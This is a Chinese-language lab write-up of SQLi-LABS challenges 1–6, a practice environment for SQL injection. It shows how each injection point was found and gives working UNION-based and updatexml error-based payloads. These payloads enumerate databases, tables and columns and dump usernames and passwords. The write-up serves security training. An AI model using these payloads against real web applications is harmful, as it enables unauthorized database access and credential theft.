SQLi-LABS Page-1(Basic Challenges)(1~6)
第一题
根据题目提示,先单引号测试
说明单引号被数据库成功解析,
使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
查字段运用order by 语句。直到order by 4--+时报错,说明只有3个字段。
把原始语句的的结果变为空
接下来查数据库
查表名
使用Group_concat()函数,查security内表名。
/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
下一步, 查询列名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
第二题
查询的字段数为3
查询数据库
?id=0 union select 1,database(),database() --+
查询表名
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询列名
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查询所有的用户名,密码
?id=0 union select 1,group_concat(username),group_concat(password) from users --+
第三题
输入/?id=1
页面显示正常,能够正常输出查询结果
/?id=1
页面显示正常,能够正常输出查询结果。返回正常结果,表明and查询被过滤掉并未代入查询。
输入/?id=1'
报错结果中有括号,则猜测有),
输入/?id=1') and1=2 --+
查询结果为空,则说明找到注入点。然后查询信息。
第4题
在后加入and 1=2,查看是否可以直接注入
?id=1 and 1=2--+
网页能够正常返回结果,表明and查询被过滤掉并未代入查询。
尝试加入不同形式的引号,以获取数据库的反馈信息
?id=1’--+
正常返回查询结果
id=1’)--+
正常返回查询结果
?id=1"--+
猜测并输入?id=1") and 1=2--+
查询结果为空,则说明找到注入点。然后查询信息。
第五题
首先,根据提示输入id参数,并且尝试寻找注入点
?id=1
显示正常
?id=1’
当我们传入id=1或者id=2页面正常显示的时候,页面只会提示:You are in …而不会返回详细的查询结果,无回显。
运用updataxml函数报错注入
查询数据库
?id=1' and updatexml(1,concat(0x7e,(database())),1) --+
查询表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
查询字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
查数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(字段) from 库名.表名)),1) --+
第六题
查询数据库
?id=1" and updatexml(1,concat(0x7e,(database())),1) --+
查询表
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
查询字段
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
查询数据
?id=1" and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users)),1) --+